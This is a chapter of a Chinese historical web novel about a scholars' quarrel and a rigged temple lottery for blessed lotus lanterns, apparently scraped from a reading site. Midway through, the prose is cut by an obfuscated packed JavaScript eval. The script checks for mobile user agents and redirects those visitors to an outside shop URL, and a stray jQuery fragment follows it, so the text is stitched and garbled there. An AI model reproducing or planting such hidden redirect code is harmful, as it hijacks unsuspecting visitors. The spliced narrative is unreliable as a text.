“嫂夫人,请容我与远志兄说两句话。”
周娘子看了眼丈夫,奉存新并不出声,却也没反对,她叹了口气往一旁走了几步。
“远志兄,当初是我鬼迷心窍,是我对不住你,我已然知道错了,但尹老收我为学生、得他栽培这件事,却并非是我抢了你的。”这件事在邵堂心里堵了很久,今日终于光明正大对他说出口,觉得心里都松了好大一口气,“望你不要沉湎这些误会,消磨自己。”
“是啊,你没抢。”奉存新讽刺道,“你只是做了点丢弃脸面的事,先生就破例收下了你,还真是运气好。”
邵堂却郑重摇头:“并非是我运气好,而是我自己努力得来的。”
“努力?你凭什么说你努力,我可是都听说了你的“好事”,要我拿出来与你细说?”对现在的奉存新来说,邵堂说忏悔其实是在作秀,说谦虚然则是在炫耀,他一句话也不想听。
邵堂深吸一口气,说:“是,你们是家中富庶,不愁吃喝穿用,读书也不过就是按部就班,听凭家里长辈的安排,可我没有这些,我只能自己想办法,以至于我打到了你的主意上,借着你。但实际上也是因我足够放得下读书人的脸面,为达目的不肯罢休,当然能得以好处,这点上我不觉羞耻,甚至问心无愧。”
奉存新没心情听,手似挥蝇虫不耐烦,“你要是跟我说这些,那你就可以走了。”
邵堂默了默,其实奉存新是他这么久以来头一个遇到对他真心以待的读书人,更别说接二连三的帮他,加上今日未来有望,心胸开阔之下,忽然开口承诺:“远志兄,我若是有朝一日能出仕做官,那时候你还没能进士及第,到时候我请你来做县丞令,若我只是个县丞,我也推举你做主簿……也算我报答扶持你一把,就当向你赔罪,你觉得如何?”
这已经算是邵堂在低头了,奉存新当然知道。
他不想答应,更不想搭理邵堂,可不知怎么的,拒绝的话到了嘴边却怎么也张不开口了。
最后看他略微颔首就返身去了邵远在的地方。
这头朱颜和文管事商议结束,出来后,就高声道:“大家静一静!”
等所有人安静后,她略压低了点声音:“今日的大莲花灯大家也都看到了,那样大的工时耗费,需要的只能提前十日订。不过这里有十盏一半大的,却是现成的,就放置在三清殿内,等到道长开光加福后便可以捐油钱赐福,请回家或事供奉都可。”
来这的自然都是有意的,听到这话忍不住问:“要捐多少香油钱?我要一座文昌帝君像!”
“我也要!”
“我,我要一座送子娘娘的!”
“我要财神爷的!”
……
文管事笑容都止不住了,如此盛况,显然是方才的一番造势起了很大的作用,当下定然要趁热打铁,赶紧伸手示意所有人安静,高声道:“今日只有这么多,都是与有缘人,不可能给你不给他。这样,我们不定价,若是要的,将自己想要的、以及香油钱写在字条上,投在木钵里,待会按投纸条的顺序抽签,一百两也好,一两也罢,抽到谁就是谁,全凭自己运气。”
这话一说出口,满场沸腾起来。
有人觉得合理,有人觉得不合理,议论起来。
但合理的占大多数,毕竟除了这种靠运气的法子,谁也说不出第二个合适的办法了。
几个打下手的小道童开始给众人分发纸条,众人这才看到房前两边摆了六张桌案,上头放了笔墨。
见都犹豫着四面看看有没有人去写去投,冷了场,文管事笑容僵在了脸上。
朱颜就上前,高声道:“没抽到的也不用着急,今日的所有灯都是我家做的,我家是麦梢坊十字巷新开业的颜画灯坊。若是待会没抽到的,可到这边来登记,最多五日就能请回家供奉,心诚则灵,三清神尊不会怪罪的。”
她声音清朗,口齿伶俐,众人听得清楚明白。
刚才说要送子娘娘的老妇人就第一个让丫鬟过来写字条,有识字的道童瞥眼偷看,丫鬟写的是一百八十两。
那道童心知这老妇人是本地有名的炭商员外孙家的老太太,儿子儿媳成婚多年无子,又纳了好些妾室然而都无一例外生女儿,求孙心切的老太太每隔十日都要来观里捐香油供奉注生娘娘,在这方面一向很大手笔,却没想到今日居然这样豪气,一出手就是一百八十两!
道童看得心脏都砰砰狂跳,精神亢奋起来,连忙回头看文管事微微点头,文管事的笑容这才又重新浮在了脸上。
有了开头的人,很快方才还犹豫的就赶紧执笔书写起来,有的不认识字的就让旁边的人代笔。
如此场面,周娘子也推了推丈夫:“要不咱们也写一张,最好是请个文昌帝君回家供奉。”
奉存新心里记挂着方才邵堂的话,哪里还有心思过问这些,略显烦躁地甩手就走:“有什么用。”
他一走,周娘子也不好待下去,就跟着出去。
出去时奉存新不注意撞到了个汉子,那人嚷道:“走路不看路!”
周娘子赶紧道歉。
汉子性子冲,不依不饶,前头的朗二娘子赶紧使眼色,让老仆妇呵斥他:“别大呼小叫的。”
“怎么样?汴京可有这些热闹可看?”朗二娘子回头看向旁边的严五娘子。
谁知对方只是哼了一声,“商人伎俩罢了。”
朗二娘子气鼓鼓地,吩咐一旁的丫鬟:“去,也给我写一张。”
丫鬟问:“是,不过,咱们要请什么神像?”
朗二娘子想了想,为了难,一旁的老仆妇就出主意:“大奶奶不是要临盆了?二娘子是做小姑子的人,又是未来小公子的姑姑,给她请个保生元君正好。”
朗二娘子就笑着点头,“对对对,香油钱就写……写个八十两,圆圆满满,希望大嫂和小侄儿或小侄女平平安安。”
老仆妇并未阻止,只因朗太太娇惯二娘子,银钱上并不苛待,加上这件事是为了朗家的子嗣,就是朗太太来了也一样要请的。
最后收集完毕后,由邵远将木钵捧着,文管事负责抽签,抽中的十家都高兴地或亲自上前来,或是派管事丫鬟来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928390|185013||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有人却质疑木钵有问题,是造假。
没抽中的人自然都跟着质疑起来:“对,我们要求查看木钵!”
底下当然也有人反驳:“你说是造假,那大树媳妇怎么抽中的?大树媳妇,你写的多少?”
大树媳妇是个年轻的妇人,嫁到山脚下的村子一年不到,今日是跟着同村的人到观里来看热闹顺带拜一拜送子娘娘,被人怂恿着写的纸条,没想到居然抽中了,很是激动,一听有人问询,顿时有些红了脸:“我,我就是凑个热闹,写了一两银子。”
另外一个被抽中的老汉却并不害臊,更大声喊道:“我请人帮我写的,身上只有一百二十个钱,没想到运气这样好,真是真人庇佑!”
有认识他的人又羡又嫉,只能笑骂:“的确是走了狗屎运了。”
更有人已经开始问那老汉:“你一个老人家请这么金贵的也无用,不如卖给我!”
“卖给我,我出五两银子!”
“你才出五两银子,我出八两!”
现场又热闹了起来,有更多的人加入这场竞价,那老汉又惊又喜,他儿子更是不顾脸面直接上去帮他叫卖,最后以一个穿绸的中年妇人喊出六十两才总算停。
没买到的人又转而看向大树媳妇,年轻的妇人早就被吓着了,但心里也开始打起了干脆卖出去的算盘,转念一想又怕被婆婆责怪,于是壮着胆子说:“我,我暂时不卖,要回去问问家里人。”
围观的人就失望摇摇头,有人不死心:“你要是卖找我啊,我买!”
朱颜不解释,文管事也没有张口的意思,邵远更是在这番叫卖结束后,直接将木钵里剩余的纸条清空,将底部内外完全向众人解释。
那人一看,完完整整,没有丝毫作弊的可能性,本来就只是怀疑,这下只能偃旗息鼓了。
朱颜心头暗笑,这场游戏的确是安排好的,不过谜底不在木钵,而是在方才写字桌案前维持秩序和磨墨的小道童手上。
也早就猜到有人会质疑,因而特意选了两个价格低的被抽中,如此一来有人提出异议,自然能化解。
热度未散,朱颜继续道:“若要订灯的也可以到这边登记,将来从我们灯坊出去的莲花灯都是同今日的一样开过光加过福,早登记早请回家!”
王仁已经备好纸笔,墨也准备好,就等着人来了。
原本就是博运气而来凑热闹的普通人家哪里付得起,都羡慕地议论了一阵,也就散了。
其余手里有钱,或者有此供奉打算的都过来找王仁登记下订。
朗二娘子笑呵呵地,她方才没抽中,但是也不影响,又让丫鬟去登记下订。
严五娘子冷哼一声,不屑道:“商贾之妇,真是满口不离铜臭。”
朗二娘子看不惯她这样,“有本事你别用钱。”
严五娘子正要走,迎面撞上从茶寮出来的邵堂,好在邵堂即使让过,小娘子认出他来,身形一顿,面纱下的面颊有些许异样。
邵堂说了声抱歉后,看也没看她,就去往朱颜那边,“二嫂,我有事找你!”